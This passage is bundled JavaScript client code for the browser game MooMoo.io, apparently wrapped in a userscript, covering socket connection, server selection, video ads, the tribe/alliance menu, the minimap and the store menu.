                    if (!url) {
                        url = window.location.href;
                    }
                    name = name.replace(/[\[\]]/g, "\\$&");
                    var regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)"),
                        results = regex.exec(url);
                    if (!results) return null;
                    if (!results[2]) return '';
                    return decodeURIComponent(results[2].replace(/\+/g, " "));
                }

                // SOCKET & CONNECTION:
                var connected = false;
                var startedConnecting = false;
                function connectSocketIfReady() {
                    // MAKE SURE IT'S READY:
                    if (!didLoad || !captchaReady) return;
                    startedConnecting = true;

                    // GET TOKEN:
                    if (isProd) {
                        unsafeWindow.grecaptcha.execute("6LevKusUAAAAAAFknhlV8sPtXAk5Z5dGP5T2FYIZ", {action: "homepage"}).then(function(token) {
                            // CONNECT SOCKET:
                            connectSocket(token);
                        });
                    } else {
                        // CONNECT SOCKET:
                        connectSocket(null);
                    }
                }
                function connectSocket(token) {
                    // CONNECT SOCKET:
                    vultrClient.start(function(address, port, gameIndex) {
                        // CREATE ADDRESS:
                        var protocol = isProd ? "wss" : "ws";
                        var wsAddress = protocol + "://" + address + ":" + 8008 + "/?gameIndex=" + gameIndex;
                        if (token) wsAddress += "&token=" + encodeURIComponent(token);

                        // CONNECT:
                        io.connect(wsAddress, function(error) {
                            pingSocket();
                            setInterval(() => pingSocket(), 2500);

                            if (error) {
                                disconnect(error);
                            } else {
                                connected = true;
                                startGame();
                            }
                        }, {
                            "id": setInitData,
                            "d": disconnect,
                            "1": setupGame,
                            "2": addPlayer,
                            "4": removePlayer,
                            "33": updatePlayers,
                            "5": updateLeaderboard,
                            "6": loadGameObject,
                            "a": loadAI,
                            "aa": animateAI,
                            "7": gatherAnimation,
                            "8": wiggleGameObject,
                            "sp": shootTurret,
                            "9": updatePlayerValue,
                            "h": updateHealth,
                            "11": killPlayer,
                            "12": killObject,
                            "13": killObjects,
                            "14": updateItemCounts,
                            "15": updateAge,
                            "16": updateUpgrades,
                            "17": updateItems,
                            "18": addProjectile,
                            "19": remProjectile,
                            "20": serverShutdownNotice,
                            "ac": addAlliance,
                            "ad": deleteAlliance,
                            "an": allianceNotification,
                            "st": setPlayerTeam,
                            "sa": setAlliancePlayers,
                            "us": updateStoreItems,
                            "ch": receiveChat,
                            "mm": updateMinimap,
                            "t": showText,
                            "p": pingMap,
                            "pp": pingSocketResponse
                        });

                        // SERVER LIST:
                        setupServerStatus();

                        // CHECK AGAIN AFTER DELAY:
                        setTimeout(() => updateServerList(), 3 * 1000);
                    }, function(error) {
                        console.error("Vultr error:", error);
                        alert("Error:\n" + error);
                        disconnect("disconnected");
                    });
                }
                function socketReady() {
                    return (io.connected);
                }
                function joinParty() {
                    var currentKey = serverBrowser.value;
                    var key = prompt("party key", currentKey);
                    if (key) {
                        window.onbeforeunload = undefined; // Don't ask to leave
                        window.location.href = "/?server=" + key;
                    }
                }/**/

                // SOUND:
                var Sound = new SoundManager(config, UTILS);
                function toggleSound(active) {
                    if (active == undefined)
                        active = !Sound.active;
                    Sound.active = active;
                    //Sound.toggleMute("menu", !active);
                    saveVal("moo_moosic", active?1:0);
                }

                // MATHS:
                var mathPI = Math.PI;
                var mathPI2 = mathPI * 2;
                var mathPI3 = mathPI * 3;
                Math.lerpAngle = function (value1, value2, amount) {
                    var difference = Math.abs(value2 - value1);
                    if (difference > mathPI) {
                        if (value1 > value2) {
                            value2 += mathPI2;
                        } else {
                            value1 += mathPI2;
                        }
                    }
                    var value = (value2 + ((value1 - value2) * amount));
                    if (value >= 0 && value <= mathPI2)
                        return value;
                    return (value % mathPI2);
                }

                // REOUNDED RECTANGLE:
                CanvasRenderingContext2D.prototype.roundRect = function (x, y, w, h, r) {
                    if (w < 2 * r) r = w / 2;
                    if (h < 2 * r) r = h / 2;
                    if (r < 0)
                        r = 0;
                    this.beginPath();
                    this.moveTo(x+r, y);
                    this.arcTo(x+w, y, x+w, y+h, r);
                    this.arcTo(x+w, y+h, x, y+h, r);
                    this.arcTo(x, y+h, x, y, r);
                    this.arcTo(x, y, x+w, y, r);
                    this.closePath();
                    return this;
                }

                // STORAGE:
                var canStore;
                if (typeof(Storage) !== "undefined") {
                    canStore = true;
                }
                function saveVal(name, val) {
                    if (canStore)
                        localStorage.setItem(name, val);
                }
                function deleteVal(name) {
                    if (canStore)
                        localStorage.removeItem(name);
                }
                function getSavedVal(name) {
                    if (canStore)
                        return localStorage.getItem(name);
                    return null;
                }

                // TERMS:
                if (!getSavedVal("consent")) consentBlock.style.display = "block";
                window.checkTerms = function(yes) {
                    if (yes) {
                        consentBlock.style.display = "none";
                        saveVal("consent", 1);
                    } else $("#consentShake").effect("shake");
                };

                // GLOBAL VALUES:
                var moofoll = getSavedVal("moofoll");
                function follmoo() {
                    if (!moofoll) {
                        moofoll = true;
                        saveVal("moofoll", 1);
                    }
                }
                var useNativeResolution;
                var showPing;
                var playSound;
                var pixelDensity = 1;
                var delta, now, lastSent;
                var lastUpdate = Date.now();
                var keys, attackState;
                var ais = [];
                var players = [];
                var alliances = [];
                var gameObjects = [];
                var projectiles = [];
                var projectileManager = new ProjectileManager(Projectile, projectiles, players, ais, objectManager, items, config, UTILS);
                var AiManager = __webpack_require__(/*! ./data/aiManager.js */ "./src/js/data/aiManager.js");
                var AI = __webpack_require__(/*! ./data/ai.js */ "./src/js/data/ai.js");
                var aiManager = new AiManager(ais, AI, players, items, null, config, UTILS);
                var player, playerSID, tmpObj;
                var waterMult = 1;
                var waterPlus = 0;
                var mouseX = 0;
                var mouseY = 0;
                var controllingTouch = {
                    id: -1,
                    startX: 0,
                    startY: 0,
                    currentX: 0,
                    currentY: 0
                };
                var attackingTouch = {
                    id: -1,
                    startX: 0,
                    startY: 0,
                    currentX: 0,
                    currentY: 0
                };
                var camX, camY;
                var tmpDir;
                var skinColor = 0;
                var maxScreenWidth = config.maxScreenWidth;
                var maxScreenHeight = config.maxScreenHeight;
                var screenWidth, screenHeight;
                var inGame = false;
                var adContainer = document.getElementById("ad-container");
                var mainMenu = document.getElementById("mainMenu");
                var enterGameButton = document.getElementById("enterGame");
                var promoImageButton = document.getElementById("promoImg");
                var partyButton = document.getElementById("partyButton");
                var joinPartyButton = document.getElementById("joinPartyButton");
                var settingsButton = document.getElementById("settingsButton");
                var settingsButtonTitle = settingsButton.getElementsByTagName("span")[0];
                var allianceButton = document.getElementById("allianceButton");
                var storeButton = document.getElementById("storeButton");
                var chatButton = document.getElementById("chatButton");
                var gameCanvas = document.getElementById("gameCanvas");
                var mainContext = gameCanvas.getContext("2d");
                var serverBrowser = document.getElementById("serverBrowser");
                var nativeResolutionCheckbox = document.getElementById("nativeResolution");
                var showPingCheckbox = document.getElementById("showPing");
                var playMusicCheckbox = document.getElementById("playMusic");
                var pingDisplay = document.getElementById("pingDisplay");
                var shutdownDisplay = document.getElementById("shutdownDisplay");
                var menuCardHolder = document.getElementById("menuCardHolder");
                var guideCard = document.getElementById("guideCard");
                var loadingText = document.getElementById("loadingText");
                var gameUI = document.getElementById("gameUI");
                var actionBar = document.getElementById("actionBar");
                var scoreDisplay = document.getElementById("scoreDisplay");
                var foodDisplay = document.getElementById("foodDisplay");
                var woodDisplay = document.getElementById("woodDisplay");
                var stoneDisplay = document.getElementById("stoneDisplay");
                var killCounter = document.getElementById("killCounter");
                var leaderboardData = document.getElementById("leaderboardData");
                var nameInput = document.getElementById("nameInput");
                var itemInfoHolder = document.getElementById("itemInfoHolder");
                var ageText = document.getElementById("ageText");
                var ageBarBody = document.getElementById("ageBarBody");
                var upgradeHolder = document.getElementById("upgradeHolder");
                var upgradeCounter = document.getElementById("upgradeCounter");
                var allianceMenu = document.getElementById("allianceMenu");
                var allianceHolder = document.getElementById("allianceHolder");
                var allianceManager = document.getElementById("allianceManager");
                var mapDisplay = document.getElementById("mapDisplay");
                var diedText = document.getElementById("diedText");
                var skinColorHolder = document.getElementById("skinColorHolder");
                var mapContext = mapDisplay.getContext("2d");
                mapDisplay.width = 300;
                mapDisplay.height = 300;
                var storeMenu = document.getElementById("storeMenu");
                var storeHolder = document.getElementById("storeHolder");
                var noticationDisplay = document.getElementById("noticationDisplay");
                var hats = store.hats;
                var accessories = store.accessories;
                var objectManager = new ObjectManager(GameObject, gameObjects, UTILS, config);
                var outlineColor = "#525252";
                var darkOutlineColor = "#3d3f42";
                var outlineWidth = 5.5;

                // SET INIT DATA:
                function setInitData(data) {
                    alliances = data.teams;
                }

                // YOUTUBERS:
                var featuredYoutuber = document.getElementById('featuredYoutube');
                var youtuberList = [{
                    name: "Corrupt X",
                    link: "https://www.youtube.com/channel/UC0UH2LfQvBSeH24bmtbmITw"
                }, {
                    name: "Tweak Big",
                    link: "https://www.youtube.com/channel/UCbwvzJ38AndDTkoX8sD9YOw"
                }, {
                    name: "Arena Closer",
                    link: "https://www.youtube.com/channel/UCazucVSJqW-kiHMIhQhD-QQ"
                }, {
                    name: "Godenot",
                    link: "https://www.youtube.com/user/SirGodenot"
                }, {
                    name: "RajNoobTV",
                    link: "https://www.youtube.com/channel/UCVLo9brXBWrCttMaGzvm0-Q"
                }, {
                    name: "TomNotTom",
                    link: "https://www.youtube.com/channel/UC7z97RgHFJRcv2niXgArBDw"
                }, {
                    name: "Nation",
                    link: "https://www.youtube.com/channel/UCSl-MBn3qzjrIvLNESQRk-g"
                }, {
                    name: "Pidyohago",
                    link: "https://www.youtube.com/channel/UC04p8Mg8nDaDx04A9is2B8Q"
                }, {
                    name: "Enigma",
                    link: "https://www.youtube.com/channel/UC5HhLbs3sReHo8Bb9NDdFrg"
                }, {
                    name: "Bauer",
                    link: "https://www.youtube.com/channel/UCwU2TbJx3xTSlPqg-Ix3R1g"
                }, {
                    name: "iStealth",
                    link: "https://www.youtube.com/channel/UCGrvlEOsQFViZbyFDE6t69A"
                }, {
                    name: "SICKmania",
                    link: "https://www.youtube.com/channel/UCvVI98ezn4TpX5wDMZjMa3g"
                }, {
                    name: "LightThief",
                    link: "https://www.youtube.com/channel/UCj6C_tiDeATiKd3GX127XoQ"
                }, {
                    name: "Fortish",
                    link: "https://www.youtube.com/channel/UCou6CLU-szZA3Tb340TB9_Q"
                }, {
                    name: "巧克力",
                    link: "https://www.youtube.com/channel/UCgL6J6oL8F69vm-GcPScmwg"
                }, {
                    name: "i Febag",
                    link: "https://www.youtube.com/channel/UCiU6WZwiKbsnt5xmwr0OFbg"
                }, {
                    name: "GoneGaming",
                    link: "https://www.youtube.com/channel/UCOcQthRanYcwYY0XVyVeK0g"
                }];
                var tmpYoutuber = youtuberList[UTILS.randInt(0, youtuberList.length - 1)];
                featuredYoutuber.innerHTML = "<a target='_blank' class='ytLink' href='" + tmpYoutuber.link + "'><i class='material-icons' style='vertical-align: top;'>&#xE064;</i> " + tmpYoutuber.name + "</a>";

                // ON LOAD:
                var inWindow = true;
                var didLoad = false;
                var captchaReady = false;
                window.onblur = function() {
                    inWindow = false;
                };
                window.onfocus = function() {
                    inWindow = true;
                    if (player && player.alive) {
                        resetMoveDir();
                    }
                };
                hoistedStart = function() {
                    didLoad = true;
                    captchaReady = true;
                    connectSocketIfReady();

                    setTimeout(function() {
                        if (!startedConnecting) {
                            alert("Captcha failed to load");
                            window.location.reload();
                        }
                    }, 20 * 1000);
                };
                unsafeWindow.captchaCallback = function() {
                    captchaReady = true;
                    //connectSocketIfReady();
                };
                gameCanvas.oncontextmenu = function() {
                    return false;
                };
                function disconnect(reason) {
                    connected = false;
                    io.close();
                    showLoadingText(reason);
                }
                function showLoadingText(text) {
                    mainMenu.style.display = "block";
                    gameUI.style.display = "none";
                    menuCardHolder.style.display = "none";
                    diedText.style.display = "none";
                    loadingText.style.display = "block";
                    loadingText.innerHTML = text +
                        "<a href='javascript:window.location.href=window.location.href' class='ytLink'>reload</a>";
                }

                // BUTTON EVENTS:
                function bindEvents() {
                    enterGameButton.onclick = UTILS.checkTrusted(function() {
                        // SHOW AD TO START GAME:
                        showPreAdIfReady();
                    });
                    UTILS.hookTouchEvents(enterGameButton);
                    promoImageButton.onclick = UTILS.checkTrusted(function() {
                        openLink('https://krunker.io/?play=SquidGame_KB');
                    });
                    UTILS.hookTouchEvents(promoImageButton);
                    joinPartyButton.onclick = UTILS.checkTrusted(function() {
                        setTimeout(function() { joinParty(); }, 10);
                    });
                    UTILS.hookTouchEvents(joinPartyButton);
                    settingsButton.onclick = UTILS.checkTrusted(function() {
                        toggleSettings();
                    });
                    UTILS.hookTouchEvents(settingsButton);
                    allianceButton.onclick = UTILS.checkTrusted(function() {
                        toggleAllianceMenu();
                    });
                    UTILS.hookTouchEvents(allianceButton);
                    storeButton.onclick = UTILS.checkTrusted(function() {
                        toggleStoreMenu();
                    });
                    UTILS.hookTouchEvents(storeButton);
                    chatButton.onclick = UTILS.checkTrusted(function() {
                        toggleChat();
                    });
                    UTILS.hookTouchEvents(chatButton);
                    mapDisplay.onclick = UTILS.checkTrusted(function() {
                        sendMapPing();
                    });
                    UTILS.hookTouchEvents(mapDisplay);
                }

                // SETUP SERVER SELECTOR:
                var gamesPerServer = 1;
                function setupServerStatus() {
                    var tmpHTML = "";

                    // ADD SERVER SELECTOR:
                    var overallTotal = 0;
                    var regionCounter = 0;
                    for (var region in vultrClient.servers) {
                        var serverList = vultrClient.servers[region];

                        // COUNT PLAYERS:
                        var totalPlayers = 0;
                        for (var i = 0; i < serverList.length; i++) {
                            for (var j = 0; j < serverList[i].games.length; j++) {
                                totalPlayers += serverList[i].games[j].playerCount;
                            }
                        }
                        overallTotal += totalPlayers;

                        // ADD REGION LABELS:
                        var regionName = vultrClient.regionInfo[region].name;
                        tmpHTML += "<option disabled>" + regionName + " - " + totalPlayers + " players</option>"

                        // ADD INDIVIDUAL SERVERS IF EXPANDED:
                        for (var serverIndex = 0; serverIndex < serverList.length; serverIndex++) {
                            var server = serverList[serverIndex];

                            // ADD INDIVIDUAL GAMES:
                            for (var gameIndex = 0; gameIndex < server.games.length; gameIndex++) {
                                var game = server.games[gameIndex];
                                var adjustedIndex = server.index * gamesPerServer + gameIndex + 1;
                                var isSelected = vultrClient.server && vultrClient.server.region === server.region && vultrClient.server.index === server.index && vultrClient.gameIndex == gameIndex;
                                var serverLabel = regionName + " " + adjustedIndex + " [" + Math.min(game.playerCount, config.maxPlayers) + "/" + config.maxPlayers + "]";
                                // var itemClass = "menuSelector" + (isSelected ? " selectedMenuSelector" : "") + (game.isPrivate ? " privateMenuSelector" : "");
                                // var onClick = game.isPrivate ? "" : "switchServer(" + region + "," + serverIndex + "," + gameIndex + ")";
                                let serverID = vultrClient.stripRegion(region) + ":" + serverIndex + ":" + gameIndex;
                                if (isSelected) partyButton.getElementsByTagName("span")[0].innerText = serverID;
                                let selected = isSelected ? "selected" : "";
                                tmpHTML += "<option value='" + serverID + "' " + selected + ">" + serverLabel + "</option>";
                            }
                        }

                        // ADD BREAK AFTER EACH SERVER:
                        tmpHTML += "<option disabled></option>";

                        // INCREMENT COUNTER:
                        regionCounter++;
                    }

                    // ADD TOTAL PLAYERS:
                    tmpHTML += "<option disabled>All Servers - " + overallTotal + " players</option>";

                    // SET HTML:
                    serverBrowser.innerHTML = tmpHTML;

                    // ALT SERVER:
                    var altServerText;
                    var altServerURL;
                    if (location.hostname == "sandbox.moomoo.io") {
                        altServerText = "Back to MooMoo";
                        altServerURL = "//moomoo.io/";
                    } else {
                        altServerText = "Try the sandbox";
                        altServerURL = "//sandbox.moomoo.io/";
                    }
                    document.getElementById("altServer").innerHTML = "<a href='" + altServerURL + "'>" + altServerText + "<i class='material-icons' style='font-size:10px;vertical-align:middle'>arrow_forward_ios</i></a>";
                }
                function updateServerList() {
                    var xmlhttp = new XMLHttpRequest();
                    var url = "/serverData";
                    xmlhttp.onreadystatechange = function() {
                        if (this.readyState == 4) {
                            if (this.status == 200) {
                                // Parse the text and set it to Vultr
                                unsafeWindow.vultr = JSON.parse(this.responseText);
                                vultrClient.processServers(unsafeWindow.vultr.servers);

                                // Setup servers
                                setupServerStatus();
                            } else {
                                console.error("Failed to load server data with status code:", this.status);
                            }
                        }
                    };
                    xmlhttp.open("GET", url, true);
                    xmlhttp.send();
                }

                // SERVER SELECTOR CHANGE LISTENER:
                serverBrowser.addEventListener("change", UTILS.checkTrusted(function() {
                    let parts = serverBrowser.value.split(":");
                    vultrClient.switchServer(parts[0], parts[1], parts[2]);
                }));

                /*** START CPMSTAR ***/
                // CPMSTAR:
                var preContentContainer = document.getElementById("pre-content-container");
                var cpmAd = null;
                var cpmApi = null;
                window.cpmstarAPI(function(api) {
                    // SET TARGET:
                    api.game.setTarget(preContentContainer);

                    // CREATE API:
                    cpmApi = api;
                });

                var preAdInterval = 1000 * 60 * 5; // 5 minutes
                var preAdLastShowTime = 0;
                var preAdGameCount = 0;
                function showPreAdIfReady() {
                    // Make sure the ad should be shown
                    preAdGameCount++;
                    var validGame = preAdGameCount > 1;
                    var validTime = (Date.now() - preAdLastShowTime) > preAdInterval;
                    if (validGame && validTime) {
                        preAdLastShowTime = Date.now();
                        showPreAd();
                    } else {
                        enterGame();
                    }
                }

                function showPreAd() {
                    // API FAILED TO LOAD:
                    if (!cpmstarAPI || !cpmApi) {
                        console.log("Failed to load video ad API", !!cpmstarAPI, !!cpmApi);
                        enterGame();
                        return;
                    }

                    // ATTEMPT TO LOAD OR SHOW:
                    // https://docs.google.com/document/d/e/2PACX-1vS9eMymhLHkiscofJ442dPIKmXIGD3X2bbSF723b-3Btfao70nE885OlEPkbcM2NfrRaitWL_7KtT6I/pub
                    cpmAd = new cpmApi.game.RewardedVideoView("rewardedvideo");
                    // cpmAd.addEventListener("ad_opened", function(e) {});
                    cpmAd.addEventListener("ad_closed", function(e) {
                        console.log("Video ad closed");
                        finishPreAd();
                    });
                    cpmAd.addEventListener("loaded", function(e) {
                        console.log("Video ad loaded");
                        cpmAd.show();
                    });
                    cpmAd.addEventListener("load_failed", function(e) {
                        console.log("Video ad load failed", e);
                        finishPreAd();
                    });

                    // LOAD AD:
                    cpmAd.load();

                    // SHOW PRE-AD:
                    preContentContainer.style.display = "block";
                }
                window.showPreAd = showPreAd;

                function finishPreAd() {
                    // HIDE THE AD:
                    preContentContainer.style.display = "none";

                    // CHECK AD SUCCESS:
                    enterGame();
                }
                /*** END CPMSTAR ***/

                /*** START PLAYWIRE ***/
                // // ADS:
                // var preAdInterval = 1000 * 60 * 5; // 5 minutes
                // var preAdLastShowTime = 0;
                // var preAdGameCount = 0;
                // var pendingFinish = false;
                // function showPreAd() {
                //     // Don't show if has admob
                //     if (window.admob) {
                //         enterGame();
                //         return;
                //     }

                //     // Make sure the ad should be shown
                //     preAdGameCount++;
                //     var validGame = preAdGameCount > 1;
                //     var validTime = (Date.now() - preAdLastShowTime) > preAdInterval;
                //     if (!validGame || !validTime) {
                //         enterGame();
                //         return;
                //     }

                //     // Set to pending finish
                //     pendingFinish = true;

                //     // Create the element
                //     var script = document.createElement("script");
                //     script.src = "//cdn.playwire.com/bolt/js/zeus/embed.js";
                //     script.type = "text/javascript";
                //     script.setAttribute("charset", "utf-8");
                //     script.setAttribute("data-config", "//config.playwire.com/1020124/v2/pre_content.json");
                //     script.setAttribute("data-width", "640px");
                //     script.setAttribute("data-height", "360px");
                //     script.setAttribute("data-id", "pre-content-player");
                //     script.setAttribute("data-hidden-container", 'my-content');
                //     script.setAttribute("data-onready", "window.boltEventHandlers");

                //     // Add it to the ad container
                //     var adContainer = document.getElementById("pre-content-container");
                //     adContainer.style.display = "block";
                //     adContainer.appendChild(script);

                //     // Check if the ad was blocked
                //     setTimeout(function() {
                //         let adBlocked = document.getElementById("my-content").style.display != "none";
                //         if (adBlocked) {
                //             console.log("Ad blocked");
                //             finishPreAd();
                //         } else {
                //             console.log("Ad not blocked");
                //         }
                //     }, 2.5 * 1000);

                //     // Force skip ad after 30 seconds
                //     setTimeout(function() {
                //         finishPreAd();
                //     }, 30 * 1000);
                // }
                // window.boltEventHandlers = function() {
                //     Bolt.on("pre-content-player", "showHiddenContainer", function() {
                //         finishPreAd();
                //     });
                // }
                // function finishPreAd() {
                //     if (pendingFinish) {
                //         pendingFinish = false;

                //         // Hide the ad
                //         document.getElementById("pre-content-container").style.display = "none";

                //         // Hide the content again
                //         document.getElementById("my-content").style.display = "none";

                //         // Set the ad show time
                //         preAdLastShowTime = Date.now();

                //         // Enter the game
                //         enterGame();
                //     }
                // }
                // function showPreAdIfReady() {
                //     // Enter game if using admob; otherwise show pre-ad
                //     if (window.admob) {
                //         enterGame();
                //     } else {
                //         showPreAd();
                //     }
                // }
                // window.showPreAd = showPreAd;
                /*** END PLAYWIRE ***/

                // SHOW ITEM INFO:
                function showItemInfo(item, isWeapon, isStoreItem) {
                    if (player && item) {
                        UTILS.removeAllChildren(itemInfoHolder);
                        itemInfoHolder.classList.add("visible");
                        // chatButton.classList.add("hide");
                        UTILS.generateElement({
                            id: "itemInfoName",
                            text: UTILS.capitalizeFirst(item.name),
                            parent: itemInfoHolder
                        });
                        UTILS.generateElement({
                            id: "itemInfoDesc",
                            text: item.desc,
                            parent: itemInfoHolder
                        });
                        if (isStoreItem) {

                        } else if (isWeapon) {
                            UTILS.generateElement({
                                class: "itemInfoReq",
                                text: !item.type?"primary":"secondary",
                                parent: itemInfoHolder
                            });
                        } else {
                            for (var i = 0; i < item.req.length; i += 2) {
                                UTILS.generateElement({
                                    class: "itemInfoReq",
                                    html: item.req[i] + "<span class='itemInfoReqVal'> x" + item.req[i + 1] + "</span>",
                                    parent: itemInfoHolder
                                });
                            }
                            if (item.group.limit) {
                                UTILS.generateElement({
                                    class: "itemInfoLmt",
                                    text: (player.itemCounts[item.group.id]||0) + "/" + item.group.limit,
                                    parent: itemInfoHolder
                                });
                            }
                        }
                    } else {
                        itemInfoHolder.classList.remove("visible");
                        // chatButton.classList.remove("hide");
                    }
                }

                // SHOW ALLIANCE MENU:
                var allianceNotifications = [];
                var alliancePlayers = [];
                function allianceNotification(sid, name) {
                    allianceNotifications.push({
                        sid: sid,
                        name: name
                    });
                    updateNotifications();
                }
                function updateNotifications() {
                    if (allianceNotifications[0]) {
                        var tmpN = allianceNotifications[0];
                        UTILS.removeAllChildren(noticationDisplay);
                        noticationDisplay.style.display = "block";
                        UTILS.generateElement({
                            class: "notificationText",
                            text: tmpN.name,
                            parent: noticationDisplay
                        });
                        UTILS.generateElement({
                            class: "notifButton",
                            html: "<i class='material-icons' style='font-size:28px;color:#cc5151;'>&#xE14C;</i>",
                            parent: noticationDisplay,
                            onclick: function() { aJoinReq(0); },
                            hookTouch: true
                        });
                        UTILS.generateElement({
                            class: "notifButton",
                            html: "<i class='material-icons' style='font-size:28px;color:#8ecc51;'>&#xE876;</i>",
                            parent: noticationDisplay,
                            onclick: function() { aJoinReq(1); },
                            hookTouch: true
                        });
                    } else {
                        noticationDisplay.style.display = "none";
                    }
                }
                function addAlliance(data) {
                    alliances.push(data);
                    if (allianceMenu.style.display == "block")
                        showAllianceMenu();
                }
                function setPlayerTeam(team, isOwner) {
                    if (player) {
                        player.team = team;
                        player.isOwner = isOwner;
                        if (allianceMenu.style.display == "block")
                            showAllianceMenu();
                    }
                }
                function setAlliancePlayers(data) {
                    alliancePlayers = data;
                    if (allianceMenu.style.display == "block")
                        showAllianceMenu();
                }
                function deleteAlliance(sid) {
                    for (var i = alliances.length - 1; i >= 0; i--) {
                        if (alliances[i].sid == sid)
                            alliances.splice(i, 1);
                    }
                    if (allianceMenu.style.display == "block")
                        showAllianceMenu();
                }
                function toggleAllianceMenu() {
                    resetMoveDir();
                    if (allianceMenu.style.display != "block") {
                        showAllianceMenu();
                    } else {
                        allianceMenu.style.display = "none";
                    }
                }
                function showAllianceMenu() {
                    if (player && player.alive) {
                        closeChat();
                        storeMenu.style.display = "none";
                        allianceMenu.style.display = "block";
                        UTILS.removeAllChildren(allianceHolder);
                        if (player.team) {
                            for (var i = 0; i < alliancePlayers.length; i+=2) {
                                (function(i) {
                                    var tmp = UTILS.generateElement({
                                        class: "allianceItem",
                                        style: "color:" + (alliancePlayers[i]==player.sid ? "#fff" : "rgba(255,255,255,0.6)"),
                                        text: alliancePlayers[i+1],
                                        parent: allianceHolder
                                    });
                                    if (player.isOwner && alliancePlayers[i] != player.sid) {
                                        UTILS.generateElement({
                                            class: "joinAlBtn",
                                            text: "Kick",
                                            onclick: function() { kickFromClan(alliancePlayers[i]); },
                                            hookTouch: true,
                                            parent: tmp
                                        });
                                    }
                                })(i);
                            }
                        } else {
                            if (alliances.length) {
                                for (var i = 0; i < alliances.length; ++i) {
                                    (function(i) {
                                        var tmp = UTILS.generateElement({
                                            class: "allianceItem",
                                            style: "color:" + (alliances[i].sid==player.team ? "#fff" : "rgba(255,255,255,0.6)"),
                                            text: alliances[i].sid,
                                            parent: allianceHolder
                                        });
                                        UTILS.generateElement({
                                            class: "joinAlBtn",
                                            text: "Join",
                                            onclick: function() { sendJoin(i); },
                                            hookTouch: true,
                                            parent: tmp
                                        });
                                    })(i);
                                }
                            } else {
                                UTILS.generateElement({
                                    class: "allianceItem",
                                    text: "No Tribes Yet",
                                    parent: allianceHolder
                                });
                            }
                        }
                        UTILS.removeAllChildren(allianceManager);
                        if (player.team) {
                            UTILS.generateElement({
                                class: "allianceButtonM",
                                style: "width: 360px",
                                text: player.isOwner? "Delete Tribe" : "Leave Tribe",
                                onclick: function() { leaveAlliance() },
                                hookTouch: true,
                                parent: allianceManager
                            });
                        } else {
                            UTILS.generateElement({
                                tag: "input",
                                type: "text",
                                id: "allianceInput",
                                maxLength: 7,
                                placeholder: "unique name",
                                ontouchstart: function(ev) {
                                    ev.preventDefault();
                                    var newValue = prompt("unique name", ev.currentTarget.value);
                                    ev.currentTarget.value = newValue.slice(0, 7);
                                },
                                parent: allianceManager
                            });
                            UTILS.generateElement({
                                tag: "div",
                                class: "allianceButtonM",
                                style: "width: 140px;",
                                text: "Create",
                                onclick: function() { createAlliance(); },
                                hookTouch: true,
                                parent: allianceManager
                            });
                        }
                    }
                }
                function aJoinReq(join) {
                    io.send("11", allianceNotifications[0].sid, join);
                    allianceNotifications.splice(0, 1);
                    updateNotifications();
                }
                function kickFromClan(sid) {
                    io.send("12", sid);
                }
                function sendJoin(index) {
                    io.send("10", alliances[index].sid);
                }
                function createAlliance() {
                    io.send("8", document.getElementById("allianceInput").value);
                }
                function leaveAlliance() {
                    allianceNotifications = [];
                    updateNotifications();
                    io.send("9");
                }

                // window.testRateLimiting = function() {
                //     setInterval(() => {
                //         if (Math.random() > 0.5) {
                //             io.send("8", "test");
                //         } else {
                //             io.send("9");
                //         }
                //     }, 50);
                // }

                // MINIMAP:
                var lastDeath;
                var minimapData;
                var mapMarker;
                var mapPings = [];
                var tmpPing;
                function MapPing() {
                    this.init = function(x, y) {
                        this.scale = 0;
                        this.x = x;
                        this.y = y;
                        this.active = true;
                    };
                    this.update = function(ctxt, delta) {
                        if (this.active) {
                            this.scale += 0.05 * delta;
                            if (this.scale >= config.mapPingScale) {
                                this.active = false;
                            } else {
                                ctxt.globalAlpha = (1-Math.max(0, this.scale/config.mapPingScale));
                                ctxt.beginPath();
                                ctxt.arc((this.x / config.mapScale) * mapDisplay.width, (this.y / config.mapScale)
                                         * mapDisplay.width, this.scale, 0, 2 * Math.PI);
                                ctxt.stroke();
                            }
                        }
                    };
                }
                function pingMap(x, y) {
                    for (var i = 0; i < mapPings.length; ++i) {
                        if (!mapPings[i].active) {
                            tmpPing = mapPings[i];
                            break;
                        }
                    }
                    if (!tmpPing) {
                        tmpPing = new MapPing();
                        mapPings.push(tmpPing);
                    }
                    tmpPing.init(x, y);
                }
                function updateMapMarker() {
                    if (!mapMarker)
                        mapMarker = {};
                    mapMarker.x = player.x;
                    mapMarker.y = player.y;
                }
                function updateMinimap(data) {
                    minimapData = data;
                }
                function renderMinimap(delta) {
                    if (player && player.alive) {
                        mapContext.clearRect(0, 0, mapDisplay.width, mapDisplay.height);

                        // RENDER PINGS:
                        mapContext.strokeStyle = "#fff";
                        mapContext.lineWidth = 4;
                        for (var i = 0; i < mapPings.length; ++i) {
                            tmpPing = mapPings[i];
                            tmpPing.update(mapContext, delta);
                        }

                        // RENDER PLAYERS:
                        mapContext.globalAlpha = 1;
                        mapContext.fillStyle = "#fff";
                        renderCircle((player.x/config.mapScale)*mapDisplay.width,
                                     (player.y/config.mapScale)*mapDisplay.height, 7, mapContext, true);
                        mapContext.fillStyle = "rgba(255,255,255,0.35)";
                        if (player.team && minimapData) {
                            for (var i = 0; i < minimapData.length;) {
                                renderCircle((minimapData[i]/config.mapScale)*mapDisplay.width,
                                             (minimapData[i+1]/config.mapScale)*mapDisplay.height, 7, mapContext, true);
                                i+=2;
                            }
                        }

                        // DEATH LOCATION:
                        if (lastDeath) {
                            mapContext.fillStyle = "#fc5553";
                            mapContext.font = "34px Hammersmith One";
                            mapContext.textBaseline = "middle";
                            mapContext.textAlign = "center";
                            mapContext.fillText("x", (lastDeath.x/config.mapScale)*mapDisplay.width,
                                                (lastDeath.y/config.mapScale)*mapDisplay.height);
                        }

                        // MAP MARKER:
                        if (mapMarker) {
                            mapContext.fillStyle = "#fff";
                            mapContext.font = "34px Hammersmith One";
                            mapContext.textBaseline = "middle";
                            mapContext.textAlign = "center";
                            mapContext.fillText("x", (mapMarker.x/config.mapScale)*mapDisplay.width,
                                                (mapMarker.y/config.mapScale)*mapDisplay.height);
                        }
                    }
                }

                // STORE MENU:
                var currentStoreIndex = 0;
                var playerItems = {};
                function changeStoreIndex(index) {
                    if (currentStoreIndex != index) {
                        currentStoreIndex = index;
                        generateStoreList();
                    }
                }
                function toggleStoreMenu() {
                    if (storeMenu.style.display != "block") {
                        storeMenu.style.display = "block";
                        allianceMenu.style.display = "none";
                        closeChat();
                        generateStoreList();
                    } else {
                        storeMenu.style.display = "none";
                    }
                }
